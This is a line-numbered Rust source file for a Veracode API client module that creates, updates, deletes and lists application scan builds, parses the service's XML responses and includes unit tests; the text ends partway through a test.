1use chrono::{DateTime, NaiveDate, Utc};
8use quick_xml::Reader;
9use quick_xml::events::Event;
10use serde::{Deserialize, Serialize};
11use std::collections::HashMap;
12
13use crate::{VeracodeClient, VeracodeError};
14
15pub const LIFECYCLE_STAGES: &[&str] = &[
17 "In Development (pre-Alpha)",
18 "Internal or Alpha Testing",
19 "External or Beta Testing",
20 "Deployed",
21 "Maintenance",
22 "Cannot Disclose",
23 "Not Specified",
24];
25
26#[must_use]
28pub fn is_valid_lifecycle_stage(stage: &str) -> bool {
29 LIFECYCLE_STAGES.contains(&stage)
30}
31
32#[must_use]
34pub fn default_lifecycle_stage() -> &'static str {
35 "In Development (pre-Alpha)"
36}
37
38#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
41pub enum BuildStatus {
42 Incomplete,
43 NotSubmitted,
44 SubmittedToEngine,
45 ScanInProcess,
46 PreScanSubmitted,
47 PreScanSuccess,
48 PreScanFailed,
49 PreScanCancelled,
50 PrescanFailed,
51 PrescanCancelled,
52 ScanCancelled,
53 ResultsReady,
54 Failed,
55 Cancelled,
56 Unknown(String), }
58
59impl BuildStatus {
60 #[must_use]
62 pub fn from_string(status: &str) -> Self {
63 match status {
64 "Incomplete" => BuildStatus::Incomplete,
65 "Not Submitted" => BuildStatus::NotSubmitted,
66 "Submitted to Engine" => BuildStatus::SubmittedToEngine,
67 "Scan in Process" => BuildStatus::ScanInProcess,
68 "Pre-Scan Submitted" => BuildStatus::PreScanSubmitted,
69 "Pre-Scan Success" => BuildStatus::PreScanSuccess,
70 "Pre-Scan Failed" => BuildStatus::PreScanFailed,
71 "Pre-Scan Cancelled" => BuildStatus::PreScanCancelled,
72 "Prescan Failed" => BuildStatus::PrescanFailed,
73 "Prescan Cancelled" => BuildStatus::PrescanCancelled,
74 "Scan Cancelled" => BuildStatus::ScanCancelled,
75 "Results Ready" => BuildStatus::ResultsReady,
76 "Failed" => BuildStatus::Failed,
77 "Cancelled" => BuildStatus::Cancelled,
78 _ => BuildStatus::Unknown(status.to_string()),
79 }
80 }
81
82 #[must_use]
84 pub fn to_str(&self) -> &str {
85 match self {
86 BuildStatus::Incomplete => "Incomplete",
87 BuildStatus::NotSubmitted => "Not Submitted",
88 BuildStatus::SubmittedToEngine => "Submitted to Engine",
89 BuildStatus::ScanInProcess => "Scan in Process",
90 BuildStatus::PreScanSubmitted => "Pre-Scan Submitted",
91 BuildStatus::PreScanSuccess => "Pre-Scan Success",
92 BuildStatus::PreScanFailed => "Pre-Scan Failed",
93 BuildStatus::PreScanCancelled => "Pre-Scan Cancelled",
94 BuildStatus::PrescanFailed => "Prescan Failed",
95 BuildStatus::PrescanCancelled => "Prescan Cancelled",
96 BuildStatus::ScanCancelled => "Scan Cancelled",
97 BuildStatus::ResultsReady => "Results Ready",
98 BuildStatus::Failed => "Failed",
99 BuildStatus::Cancelled => "Cancelled",
100 BuildStatus::Unknown(s) => s,
101 }
102 }
103
104 #[must_use]
111 pub fn is_safe_to_delete(&self, deletion_policy: u8) -> bool {
112 match deletion_policy {
113 1 => {
114 matches!(
116 self,
117 BuildStatus::Incomplete
118 | BuildStatus::NotSubmitted
119 | BuildStatus::PreScanFailed
120 | BuildStatus::PreScanCancelled
121 | BuildStatus::PrescanFailed
122 | BuildStatus::PrescanCancelled
123 | BuildStatus::ScanCancelled
124 | BuildStatus::Failed
125 | BuildStatus::Cancelled
126 )
127 }
128 2 => {
129 !matches!(self, BuildStatus::ResultsReady)
131 }
132 _ => false, }
134 }
135}
136
137impl std::fmt::Display for BuildStatus {
138 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
139 write!(f, "{}", self.to_str())
140 }
141}
142
143#[derive(Debug, Clone, Serialize, Deserialize)]
145pub struct Build {
146 pub build_id: String,
148 pub app_id: String,
150 pub version: Option<String>,
152 pub app_name: Option<String>,
154 pub sandbox_id: Option<String>,
156 pub sandbox_name: Option<String>,
158 pub lifecycle_stage: Option<String>,
160 pub launch_date: Option<NaiveDate>,
162 pub submitter: Option<String>,
164 pub platform: Option<String>,
166 pub analysis_unit: Option<String>,
168 pub policy_name: Option<String>,
170 pub policy_version: Option<String>,
172 pub policy_compliance_status: Option<String>,
174 pub rules_status: Option<String>,
176 pub grace_period_expired: Option<bool>,
178 pub scan_overdue: Option<bool>,
180 pub policy_updated_date: Option<DateTime<Utc>>,
182 pub legacy_scan_engine: Option<bool>,
184 pub attributes: HashMap<String, String>,
186}
187
188#[derive(Debug, Clone, Serialize, Deserialize)]
190pub struct BuildList {
191 pub account_id: Option<String>,
193 pub app_id: String,
195 pub app_name: Option<String>,
197 pub builds: Vec<Build>,
199}
200
201#[derive(Debug, Clone)]
203pub struct CreateBuildRequest {
204 pub app_id: String,
206 pub version: Option<String>,
208 pub lifecycle_stage: Option<String>,
210 pub launch_date: Option<String>,
212 pub sandbox_id: Option<String>,
214}
215
216#[derive(Debug, Clone)]
218pub struct UpdateBuildRequest {
219 pub app_id: String,
221 pub build_id: Option<String>,
223 pub version: Option<String>,
225 pub lifecycle_stage: Option<String>,
227 pub launch_date: Option<String>,
229 pub sandbox_id: Option<String>,
231}
232
233#[derive(Debug, Clone)]
235pub struct DeleteBuildRequest {
236 pub app_id: String,
238 pub sandbox_id: Option<String>,
240}
241
242#[derive(Debug, Clone)]
244pub struct GetBuildInfoRequest {
245 pub app_id: String,
247 pub build_id: Option<String>,
249 pub sandbox_id: Option<String>,
251}
252
253#[derive(Debug, Clone)]
255pub struct GetBuildListRequest {
256 pub app_id: String,
258 pub sandbox_id: Option<String>,
260}
261
262#[derive(Debug, Clone, Serialize, Deserialize)]
264pub struct DeleteBuildResult {
265 pub result: String,
267}
268
269#[derive(Debug)]
271#[must_use = "Need to handle all error enum types."]
272pub enum BuildError {
273 Api(VeracodeError),
275 BuildNotFound,
277 ApplicationNotFound,
279 SandboxNotFound,
281 InvalidParameter(String),
283 CreationFailed(String),
285 UpdateFailed(String),
287 DeletionFailed(String),
289 XmlParsingError(String),
291 Unauthorized,
293 PermissionDenied,
295 BuildInProgress,
297}
298
299impl std::fmt::Display for BuildError {
300 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
301 match self {
302 BuildError::Api(err) => write!(f, "API error: {err}"),
303 BuildError::BuildNotFound => write!(f, "Build not found"),
304 BuildError::ApplicationNotFound => write!(f, "Application not found"),
305 BuildError::SandboxNotFound => write!(f, "Sandbox not found"),
306 BuildError::InvalidParameter(msg) => write!(f, "Invalid parameter: {msg}"),
307 BuildError::CreationFailed(msg) => write!(f, "Build creation failed: {msg}"),
308 BuildError::UpdateFailed(msg) => write!(f, "Build update failed: {msg}"),
309 BuildError::DeletionFailed(msg) => write!(f, "Build deletion failed: {msg}"),
310 BuildError::XmlParsingError(msg) => write!(f, "XML parsing error: {msg}"),
311 BuildError::Unauthorized => write!(f, "Unauthorized access"),
312 BuildError::PermissionDenied => write!(f, "Permission denied"),
313 BuildError::BuildInProgress => write!(f, "Build in progress, cannot modify"),
314 }
315 }
316}
317
318impl std::error::Error for BuildError {}
319
320impl From<VeracodeError> for BuildError {
321 fn from(err: VeracodeError) -> Self {
322 BuildError::Api(err)
323 }
324}
325
326impl From<std::io::Error> for BuildError {
327 fn from(err: std::io::Error) -> Self {
328 BuildError::Api(VeracodeError::InvalidResponse(err.to_string()))
329 }
330}
331
332impl From<reqwest::Error> for BuildError {
333 fn from(err: reqwest::Error) -> Self {
334 BuildError::Api(VeracodeError::Http(err))
335 }
336}
337
338pub struct BuildApi {
340 client: VeracodeClient,
341}
342
343impl BuildApi {
344 #[must_use]
346 pub fn new(client: VeracodeClient) -> Self {
347 Self { client }
348 }
349
350 pub async fn create_build(&self, request: &CreateBuildRequest) -> Result<Build, BuildError> {
365 let endpoint = "/api/5.0/createbuild.do";
366
367 let mut query_params = Vec::new();
369 query_params.push(("app_id", request.app_id.as_str()));
370
371 if let Some(version) = &request.version {
372 query_params.push(("version", version.as_str()));
373 }
374
375 if let Some(lifecycle_stage) = &request.lifecycle_stage {
376 query_params.push(("lifecycle_stage", lifecycle_stage.as_str()));
377 }
378
379 if let Some(launch_date) = &request.launch_date {
380 query_params.push(("launch_date", launch_date.as_str()));
381 }
382
383 if let Some(sandbox_id) = &request.sandbox_id {
384 query_params.push(("sandbox_id", sandbox_id.as_str()));
385 }
386
387 let response = self
388 .client
389 .post_with_query_params(endpoint, &query_params)
390 .await?;
391
392 let status = response.status().as_u16();
393 match status {
394 200 => {
395 let response_text = response.text().await?;
396 self.parse_build_info(&response_text)
397 }
398 400 => {
399 let error_text = response.text().await.unwrap_or_default();
400 Err(BuildError::InvalidParameter(error_text))
401 }
402 401 => Err(BuildError::Unauthorized),
403 403 => Err(BuildError::PermissionDenied),
404 404 => Err(BuildError::ApplicationNotFound),
405 _ => {
406 let error_text = response.text().await.unwrap_or_default();
407 Err(BuildError::CreationFailed(format!(
408 "HTTP {status}: {error_text}"
409 )))
410 }
411 }
412 }
413
414 pub async fn update_build(&self, request: &UpdateBuildRequest) -> Result<Build, BuildError> {
429 let endpoint = "/api/5.0/updatebuild.do";
430
431 let mut query_params = Vec::new();
433 query_params.push(("app_id", request.app_id.as_str()));
434
435 if let Some(build_id) = &request.build_id {
436 query_params.push(("build_id", build_id.as_str()));
437 }
438
439 if let Some(version) = &request.version {
440 query_params.push(("version", version.as_str()));
441 }
442
443 if let Some(lifecycle_stage) = &request.lifecycle_stage {
444 query_params.push(("lifecycle_stage", lifecycle_stage.as_str()));
445 }
446
447 if let Some(launch_date) = &request.launch_date {
448 query_params.push(("launch_date", launch_date.as_str()));
449 }
450
451 if let Some(sandbox_id) = &request.sandbox_id {
452 query_params.push(("sandbox_id", sandbox_id.as_str()));
453 }
454
455 let response = self
456 .client
457 .post_with_query_params(endpoint, &query_params)
458 .await?;
459
460 let status = response.status().as_u16();
461 match status {
462 200 => {
463 let response_text = response.text().await?;
464 self.parse_build_info(&response_text)
465 }
466 400 => {
467 let error_text = response.text().await.unwrap_or_default();
468 Err(BuildError::InvalidParameter(error_text))
469 }
470 401 => Err(BuildError::Unauthorized),
471 403 => Err(BuildError::PermissionDenied),
472 404 => {
473 if request.sandbox_id.is_some() {
474 Err(BuildError::SandboxNotFound)
475 } else {
476 Err(BuildError::BuildNotFound)
477 }
478 }
479 _ => {
480 let error_text = response.text().await.unwrap_or_default();
481 Err(BuildError::UpdateFailed(format!(
482 "HTTP {status}: {error_text}"
483 )))
484 }
485 }
486 }
487
488 pub async fn delete_build(
503 &self,
504 request: &DeleteBuildRequest,
505 ) -> Result<DeleteBuildResult, BuildError> {
506 let endpoint = "/api/5.0/deletebuild.do";
507
508 let mut query_params = Vec::new();
510 query_params.push(("app_id", request.app_id.as_str()));
511
512 if let Some(sandbox_id) = &request.sandbox_id {
513 query_params.push(("sandbox_id", sandbox_id.as_str()));
514 }
515
516 let response = self
517 .client
518 .post_with_query_params(endpoint, &query_params)
519 .await?;
520
521 let status = response.status().as_u16();
522 match status {
523 200 => {
524 let response_text = response.text().await?;
525 self.parse_delete_result(&response_text)
526 }
527 400 => {
528 let error_text = response.text().await.unwrap_or_default();
529 Err(BuildError::InvalidParameter(error_text))
530 }
531 401 => Err(BuildError::Unauthorized),
532 403 => Err(BuildError::PermissionDenied),
533 404 => {
534 if request.sandbox_id.is_some() {
535 Err(BuildError::SandboxNotFound)
536 } else {
537 Err(BuildError::BuildNotFound)
538 }
539 }
540 _ => {
541 let error_text = response.text().await.unwrap_or_default();
542 Err(BuildError::DeletionFailed(format!(
543 "HTTP {status}: {error_text}"
544 )))
545 }
546 }
547 }
548
549 pub async fn get_build_info(&self, request: &GetBuildInfoRequest) -> Result<Build, BuildError> {
564 let endpoint = "/api/5.0/getbuildinfo.do";
565
566 let mut query_params = Vec::new();
568 query_params.push(("app_id", request.app_id.as_str()));
569
570 if let Some(build_id) = &request.build_id {
571 query_params.push(("build_id", build_id.as_str()));
572 }
573
574 if let Some(sandbox_id) = &request.sandbox_id {
575 query_params.push(("sandbox_id", sandbox_id.as_str()));
576 }
577
578 let response = self
579 .client
580 .get_with_query_params(endpoint, &query_params)
581 .await?;
582
583 let status = response.status().as_u16();
584 match status {
585 200 => {
586 let response_text = response.text().await?;
587 self.parse_build_info(&response_text)
588 }
589 400 => {
590 let error_text = response.text().await.unwrap_or_default();
591 Err(BuildError::InvalidParameter(error_text))
592 }
593 401 => Err(BuildError::Unauthorized),
594 403 => Err(BuildError::PermissionDenied),
595 404 => {
596 if request.sandbox_id.is_some() {
597 Err(BuildError::SandboxNotFound)
598 } else {
599 Err(BuildError::BuildNotFound)
600 }
601 }
602 _ => {
603 let error_text = response.text().await.unwrap_or_default();
604 Err(BuildError::Api(VeracodeError::InvalidResponse(format!(
605 "HTTP {status}: {error_text}"
606 ))))
607 }
608 }
609 }
610
611 pub async fn get_build_list(
626 &self,
627 request: &GetBuildListRequest,
628 ) -> Result<BuildList, BuildError> {
629 let endpoint = "/api/5.0/getbuildlist.do";
630
631 let mut query_params = Vec::new();
633 query_params.push(("app_id", request.app_id.as_str()));
634
635 if let Some(sandbox_id) = &request.sandbox_id {
636 query_params.push(("sandbox_id", sandbox_id.as_str()));
637 }
638
639 let response = self
640 .client
641 .get_with_query_params(endpoint, &query_params)
642 .await?;
643
644 let status = response.status().as_u16();
645 match status {
646 200 => {
647 let response_text = response.text().await?;
648 self.parse_build_list(&response_text)
649 }
650 400 => {
651 let error_text = response.text().await.unwrap_or_default();
652 Err(BuildError::InvalidParameter(error_text))
653 }
654 401 => Err(BuildError::Unauthorized),
655 403 => Err(BuildError::PermissionDenied),
656 404 => {
657 if request.sandbox_id.is_some() {
658 Err(BuildError::SandboxNotFound)
659 } else {
660 Err(BuildError::ApplicationNotFound)
661 }
662 }
663 _ => {
664 let error_text = response.text().await.unwrap_or_default();
665 Err(BuildError::Api(VeracodeError::InvalidResponse(format!(
666 "HTTP {status}: {error_text}"
667 ))))
668 }
669 }
670 }
671
672 fn parse_build_info(&self, xml: &str) -> Result<Build, BuildError> {
674 if xml.contains("<error>") {
676 let mut reader = Reader::from_str(xml);
677 reader.config_mut().trim_text(true);
678 let mut buf = Vec::new();
679
680 loop {
681 match reader.read_event_into(&mut buf) {
682 Ok(Event::Start(ref e)) if e.name().as_ref() == b"error" => {
683 if let Ok(Event::Text(text)) = reader.read_event_into(&mut buf) {
684 let error_msg = String::from_utf8_lossy(&text);
685 if error_msg.contains("Could not find a build") {
686 return Err(BuildError::BuildNotFound);
687 }
688 return Err(BuildError::Api(VeracodeError::InvalidResponse(
689 error_msg.to_string(),
690 )));
691 }
692 }
693 Ok(Event::Eof) => break,
694 Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
695 _ => {}
696 }
697 buf.clear();
698 }
699 }
700
701 let mut reader = Reader::from_str(xml);
702 reader.config_mut().trim_text(true);
703
704 let mut buf = Vec::new();
705 let mut build = Build {
706 build_id: String::new(),
707 app_id: String::new(),
708 version: None,
709 app_name: None,
710 sandbox_id: None,
711 sandbox_name: None,
712 lifecycle_stage: None,
713 launch_date: None,
714 submitter: None,
715 platform: None,
716 analysis_unit: None,
717 policy_name: None,
718 policy_version: None,
719 policy_compliance_status: None,
720 rules_status: None,
721 grace_period_expired: None,
722 scan_overdue: None,
723 policy_updated_date: None,
724 legacy_scan_engine: None,
725 attributes: HashMap::new(),
726 };
727
728 let mut inside_build = false;
729
730 loop {
731 match reader.read_event_into(&mut buf) {
732 Ok(Event::Start(ref e)) => {
733 match e.name().as_ref() {
734 b"build" => {
735 inside_build = true;
736 for attr in e.attributes().flatten() {
737 let key = String::from_utf8_lossy(attr.key.as_ref());
738 let value = String::from_utf8_lossy(&attr.value);
739
740 match key.as_ref() {
741 "build_id" => build.build_id = value.into_owned(),
742 "app_id" => build.app_id = value.into_owned(),
743 "version" => build.version = Some(value.into_owned()),
744 "app_name" => build.app_name = Some(value.into_owned()),
745 "sandbox_id" => build.sandbox_id = Some(value.into_owned()),
746 "sandbox_name" => build.sandbox_name = Some(value.into_owned()),
747 "lifecycle_stage" => {
748 build.lifecycle_stage = Some(value.into_owned())
749 }
750 "submitter" => build.submitter = Some(value.into_owned()),
751 "platform" => build.platform = Some(value.into_owned()),
752 "analysis_unit" => {
753 build.analysis_unit = Some(value.into_owned())
754 }
755 "policy_name" => build.policy_name = Some(value.into_owned()),
756 "policy_version" => {
757 build.policy_version = Some(value.into_owned())
758 }
759 "policy_compliance_status" => {
760 build.policy_compliance_status = Some(value.into_owned())
761 }
762 "rules_status" => build.rules_status = Some(value.into_owned()),
763 "grace_period_expired" => {
764 build.grace_period_expired = value.parse::<bool>().ok();
765 }
766 "scan_overdue" => {
767 build.scan_overdue = value.parse::<bool>().ok();
768 }
769 "legacy_scan_engine" => {
770 build.legacy_scan_engine = value.parse::<bool>().ok();
771 }
772 "launch_date" => {
773 if let Ok(date) =
774 NaiveDate::parse_from_str(&value, "%m/%d/%Y")
775 {
776 build.launch_date = Some(date);
777 }
778 }
779 "policy_updated_date" => {
780 if let Ok(datetime) =
781 chrono::DateTime::parse_from_rfc3339(&value)
782 {
783 build.policy_updated_date =
784 Some(datetime.with_timezone(&Utc));
785 }
786 }
787 _ => {
788 build
789 .attributes
790 .insert(key.into_owned(), value.into_owned());
791 }
792 }
793 }
794 }
795 b"analysis_unit" if inside_build => {
796 for attr in e.attributes().flatten() {
798 let key = String::from_utf8_lossy(attr.key.as_ref());
799 let value = String::from_utf8_lossy(&attr.value);
800
801 match key.as_ref() {
803 "status" => {
804 build
806 .attributes
807 .insert("status".to_string(), value.into_owned());
808 }
809 _ => {
810 build
812 .attributes
813 .insert(format!("analysis_{key}"), value.into_owned());
814 }
815 }
816 }
817 }
818 _ => {}
819 }
820 }
821 Ok(Event::Empty(ref e))
822 if e.name().as_ref() == b"analysis_unit" && inside_build => {
824 for attr in e.attributes().flatten() {
825 let key = String::from_utf8_lossy(attr.key.as_ref());
826 let value = String::from_utf8_lossy(&attr.value);
827
828 match key.as_ref() {
829 "status" => {
830 build
831 .attributes
832 .insert("status".to_string(), value.into_owned());
833 }
834 _ => {
835 build
836 .attributes
837 .insert(format!("analysis_{key}"), value.into_owned());
838 }
839 }
840 }
841 }
842 Ok(Event::End(ref e))
843 if e.name().as_ref() == b"build" => {
844 inside_build = false;
845 }
846 Ok(Event::Eof) => break,
847 Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
848 _ => {}
849 }
850 buf.clear();
851 }
852
853 if build.build_id.is_empty() {
854 return Err(BuildError::XmlParsingError(
855 "No build information found in response".to_string(),
856 ));
857 }
858
859 Ok(build)
860 }
861
862 fn parse_build_from_attributes<'a>(
864 &self,
865 attributes: impl Iterator<
866 Item = Result<
867 quick_xml::events::attributes::Attribute<'a>,
868 quick_xml::events::attributes::AttrError,
869 >,
870 >,
871 app_id: &str,
872 app_name: &Option<String>,
873 ) -> Build {
874 let mut build = Build {
875 build_id: String::new(),
876 app_id: app_id.to_string(),
877 version: None,
878 app_name: app_name.clone(),
879 sandbox_id: None,
880 sandbox_name: None,
881 lifecycle_stage: None,
882 launch_date: None,
883 submitter: None,
884 platform: None,
885 analysis_unit: None,
886 policy_name: None,
887 policy_version: None,
888 policy_compliance_status: None,
889 rules_status: None,
890 grace_period_expired: None,
891 scan_overdue: None,
892 policy_updated_date: None,
893 legacy_scan_engine: None,
894 attributes: HashMap::new(),
895 };
896
897 for attr in attributes.flatten() {
898 let key = String::from_utf8_lossy(attr.key.as_ref());
899 let value = String::from_utf8_lossy(&attr.value);
900
901 match key.as_ref() {
902 "build_id" => build.build_id = value.into_owned(),
903 "version" => build.version = Some(value.into_owned()),
904 "sandbox_id" => build.sandbox_id = Some(value.into_owned()),
905 "sandbox_name" => build.sandbox_name = Some(value.into_owned()),
906 "lifecycle_stage" => build.lifecycle_stage = Some(value.into_owned()),
907 "submitter" => build.submitter = Some(value.into_owned()),
908 "platform" => build.platform = Some(value.into_owned()),
909 "analysis_unit" => build.analysis_unit = Some(value.into_owned()),
910 "policy_name" => build.policy_name = Some(value.into_owned()),
911 "policy_version" => build.policy_version = Some(value.into_owned()),
912 "policy_compliance_status" => {
913 build.policy_compliance_status = Some(value.into_owned())
914 }
915 "rules_status" => build.rules_status = Some(value.into_owned()),
916 "grace_period_expired" => {
917 build.grace_period_expired = value.parse::<bool>().ok();
918 }
919 "scan_overdue" => {
920 build.scan_overdue = value.parse::<bool>().ok();
921 }
922 "legacy_scan_engine" => {
923 build.legacy_scan_engine = value.parse::<bool>().ok();
924 }
925 "launch_date" => {
926 if let Ok(date) = NaiveDate::parse_from_str(&value, "%m/%d/%Y") {
927 build.launch_date = Some(date);
928 }
929 }
930 "policy_updated_date" => {
931 if let Ok(datetime) = chrono::DateTime::parse_from_rfc3339(&value) {
932 build.policy_updated_date = Some(datetime.with_timezone(&Utc));
933 }
934 }
935 _ => {
936 build
937 .attributes
938 .insert(key.into_owned(), value.into_owned());
939 }
940 }
941 }
942
943 build
944 }
945
946 fn parse_build_list(&self, xml: &str) -> Result<BuildList, BuildError> {
948 let mut reader = Reader::from_str(xml);
949 reader.config_mut().trim_text(true);
950
951 let mut buf = Vec::new();
952 let mut build_list = BuildList {
953 account_id: None,
954 app_id: String::new(),
955 app_name: None,
956 builds: Vec::new(),
957 };
958
959 loop {
960 match reader.read_event_into(&mut buf) {
961 Ok(Event::Start(ref e)) => match e.name().as_ref() {
962 b"buildlist" => {
963 for attr in e.attributes().flatten() {
964 let key = String::from_utf8_lossy(attr.key.as_ref());
965 let value = String::from_utf8_lossy(&attr.value);
966
967 match key.as_ref() {
968 "account_id" => build_list.account_id = Some(value.into_owned()),
969 "app_id" => build_list.app_id = value.into_owned(),
970 "app_name" => build_list.app_name = Some(value.into_owned()),
971 _ => {}
972 }
973 }
974 }
975 b"build" => {
976 let build = self.parse_build_from_attributes(
977 e.attributes(),
978 &build_list.app_id,
979 &build_list.app_name,
980 );
981
982 if !build.build_id.is_empty() {
983 build_list.builds.push(build);
984 }
985 }
986 _ => {}
987 },
988 Ok(Event::Empty(ref e))
989 if e.name().as_ref() == b"build" => {
991 let build = self.parse_build_from_attributes(
992 e.attributes(),
993 &build_list.app_id,
994 &build_list.app_name,
995 );
996
997 if !build.build_id.is_empty() {
998 build_list.builds.push(build);
999 }
1000 }
1001 Ok(Event::Eof) => break,
1002 Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
1003 _ => {}
1004 }
1005 buf.clear();
1006 }
1007
1008 Ok(build_list)
1009 }
1010
1011 fn parse_delete_result(&self, xml: &str) -> Result<DeleteBuildResult, BuildError> {
1013 let mut reader = Reader::from_str(xml);
1014 reader.config_mut().trim_text(true);
1015
1016 let mut buf = Vec::new();
1017 let mut result = String::new();
1018
1019 loop {
1020 match reader.read_event_into(&mut buf) {
1021 Ok(Event::Start(ref e)) if e.name().as_ref() == b"result" => {
1022 if let Ok(Event::Text(e)) = reader.read_event_into(&mut buf) {
1024 result = String::from_utf8_lossy(&e).into_owned();
1025 }
1026 }
1027 Ok(Event::Eof) => break,
1028 Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
1029 _ => {}
1030 }
1031 buf.clear();
1032 }
1033
1034 if result.is_empty() {
1035 return Err(BuildError::XmlParsingError(
1036 "No result found in delete response".to_string(),
1037 ));
1038 }
1039
1040 Ok(DeleteBuildResult { result })
1041 }
1042}
1043
1044impl BuildApi {
1046 pub async fn create_simple_build(
1062 &self,
1063 app_id: &str,
1064 version: Option<&str>,
1065 ) -> Result<Build, BuildError> {
1066 let request = CreateBuildRequest {
1067 app_id: app_id.to_string(),
1068 version: version.map(str::to_string),
1069 lifecycle_stage: None,
1070 launch_date: None,
1071 sandbox_id: None,
1072 };
1073
1074 self.create_build(&request).await
1075 }
1076
1077 pub async fn create_sandbox_build(
1094 &self,
1095 app_id: &str,
1096 sandbox_id: &str,
1097 version: Option<&str>,
1098 ) -> Result<Build, BuildError> {
1099 let request = CreateBuildRequest {
1100 app_id: app_id.to_string(),
1101 version: version.map(str::to_string),
1102 lifecycle_stage: None,
1103 launch_date: None,
1104 sandbox_id: Some(sandbox_id.to_string()),
1105 };
1106
1107 self.create_build(&request).await
1108 }
1109
1110 pub async fn delete_app_build(&self, app_id: &str) -> Result<DeleteBuildResult, BuildError> {
1125 let request = DeleteBuildRequest {
1126 app_id: app_id.to_string(),
1127 sandbox_id: None,
1128 };
1129
1130 self.delete_build(&request).await
1131 }
1132
1133 pub async fn delete_sandbox_build(
1149 &self,
1150 app_id: &str,
1151 sandbox_id: &str,
1152 ) -> Result<DeleteBuildResult, BuildError> {
1153 let request = DeleteBuildRequest {
1154 app_id: app_id.to_string(),
1155 sandbox_id: Some(sandbox_id.to_string()),
1156 };
1157
1158 self.delete_build(&request).await
1159 }
1160
1161 pub async fn get_app_build_info(&self, app_id: &str) -> Result<Build, BuildError> {
1176 let request = GetBuildInfoRequest {
1177 app_id: app_id.to_string(),
1178 build_id: None,
1179 sandbox_id: None,
1180 };
1181
1182 self.get_build_info(&request).await
1183 }
1184
1185 pub async fn get_sandbox_build_info(
1201 &self,
1202 app_id: &str,
1203 sandbox_id: &str,
1204 ) -> Result<Build, BuildError> {
1205 let request = GetBuildInfoRequest {
1206 app_id: app_id.to_string(),
1207 build_id: None,
1208 sandbox_id: Some(sandbox_id.to_string()),
1209 };
1210
1211 self.get_build_info(&request).await
1212 }
1213
1214 pub async fn get_app_builds(&self, app_id: &str) -> Result<BuildList, BuildError> {
1229 let request = GetBuildListRequest {
1230 app_id: app_id.to_string(),
1231 sandbox_id: None,
1232 };
1233
1234 self.get_build_list(&request).await
1235 }
1236
1237 pub async fn get_sandbox_builds(
1253 &self,
1254 app_id: &str,
1255 sandbox_id: &str,
1256 ) -> Result<BuildList, BuildError> {
1257 let request = GetBuildListRequest {
1258 app_id: app_id.to_string(),
1259 sandbox_id: Some(sandbox_id.to_string()),
1260 };
1261
1262 self.get_build_list(&request).await
1263 }
1264}
1265
1266#[cfg(test)]
1267mod tests {
1268 use super::*;
1269 use crate::VeracodeConfig;
1270
1271 #[test]
1272 fn test_create_build_request() {
1273 let request = CreateBuildRequest {
1274 app_id: "123".to_string(),
1275 version: Some("1.0.0".to_string()),
1276 lifecycle_stage: Some("In Development (pre-Alpha)".to_string()),
1277 launch_date: Some("12/31/2024".to_string()),
1278 sandbox_id: None,
1279 };
1280
1281 assert_eq!(request.app_id, "123");
1282 assert_eq!(request.version, Some("1.0.0".to_string()));
1283 assert_eq!(
1284 request.lifecycle_stage,
1285 Some("In Development (pre-Alpha)".to_string())
1286 );
1287 }
1288
1289 #[test]
1290 fn test_update_build_request() {
1291 let request = UpdateBuildRequest {
1292 app_id: "123".to_string(),
1293 build_id: Some("456".to_string()),
1294 version: Some("1.1.0".to_string()),
1295 lifecycle_stage: Some("Internal or Alpha Testing".to_string()),
1296 launch_date: None,
1297 sandbox_id: Some("789".to_string()),
1298 };
1299
1300 assert_eq!(request.app_id, "123");
1301 assert_eq!(request.build_id, Some("456".to_string()));
1302 assert_eq!(request.sandbox_id, Some("789".to_string()));
1303 }
1304
1305 #[test]
1306 fn test_lifecycle_stage_validation() {
1307 assert!(is_valid_lifecycle_stage("In Development (pre-Alpha)"));
1309 assert!(is_valid_lifecycle_stage("Internal or Alpha Testing"));
1310 assert!(is_valid_lifecycle_stage("External or Beta Testing"));
1311 assert!(is_valid_lifecycle_stage("Deployed"));
1312 assert!(is_valid_lifecycle_stage("Maintenance"));
1313 assert!(is_valid_lifecycle_stage("Cannot Disclose"));
1314 assert!(is_valid_lifecycle_stage("Not Specified"));
1315
1316 assert!(!is_valid_lifecycle_stage("In Development"));
1318 assert!(!is_valid_lifecycle_stage("Development"));
1319 assert!(!is_valid_lifecycle_stage("QA"));
1320 assert!(!is_valid_lifecycle_stage("Production"));
1321 assert!(!is_valid_lifecycle_stage(""));
1322
1323 assert_eq!(default_lifecycle_stage(), "In Development (pre-Alpha)");
1325 assert!(is_valid_lifecycle_stage(default_lifecycle_stage()));
1326 }
1327
1328 #[test]
1329 fn test_build_error_display() {
1330 let error = BuildError::BuildNotFound;
1331 assert_eq!(error.to_string(), "Build not found");
1332
1333 let error = BuildError::InvalidParameter("Invalid app_id".to_string());
1334 assert_eq!(error.to_string(), "Invalid parameter: Invalid app_id");
1335
1336 let error = BuildError::CreationFailed("Build creation failed".to_string());
1337 assert_eq!(
1338 error.to_string(),
1339 "Build creation failed: Build creation failed"
1340 );
1341 }
1342
1343 #[tokio::test]
1344 async fn test_build_api_method_signatures() {
1345 async fn _test_build_methods() -> Result<(), Box<dyn std::error::Error>> {
1346 let config = VeracodeConfig::new("test", "test");
1347 let client = VeracodeClient::new(config)?;
1348 let api = client.build_api()?;
1349
1350 let create_request = CreateBuildRequest {
1352 app_id: "123".to_string(),
1353 version: None,
1354 lifecycle_stage: None,
1355 launch_date: None,
1356 sandbox_id: None,
1357 };
1358
1359 let _: Result<Build, _> = api.create_build(&create_request).await;
1362 let _: Result<Build, _> = api.create_simple_build("123", None).await;
1363 let _: Result<Build, _> = api.create_sandbox_build("123", "456", None).await;
1364 let _: Result<DeleteBuildResult, _> = api.delete_app_build("123").await;
1365 let _: Result<Build, _> = api.get_app_build_info("123").await;
1366 let _: Result<BuildList, _> = api.get_app_builds("123").await;
1367
1368 Ok(())
1369 }
1370
1371 }
1374
1375 #[test]
1376 fn test_build_status_from_str() {
1377 assert_eq!(
1378 BuildStatus::from_string("Incomplete"),
1379 BuildStatus::Incomplete
1380 );
1381 assert_eq!(
1382 BuildStatus::from_string("Results Ready"),
1383 BuildStatus::ResultsReady
1384 );
1385 assert_eq!(
1386 BuildStatus::from_string("Pre-Scan Failed"),
1387 BuildStatus::PreScanFailed
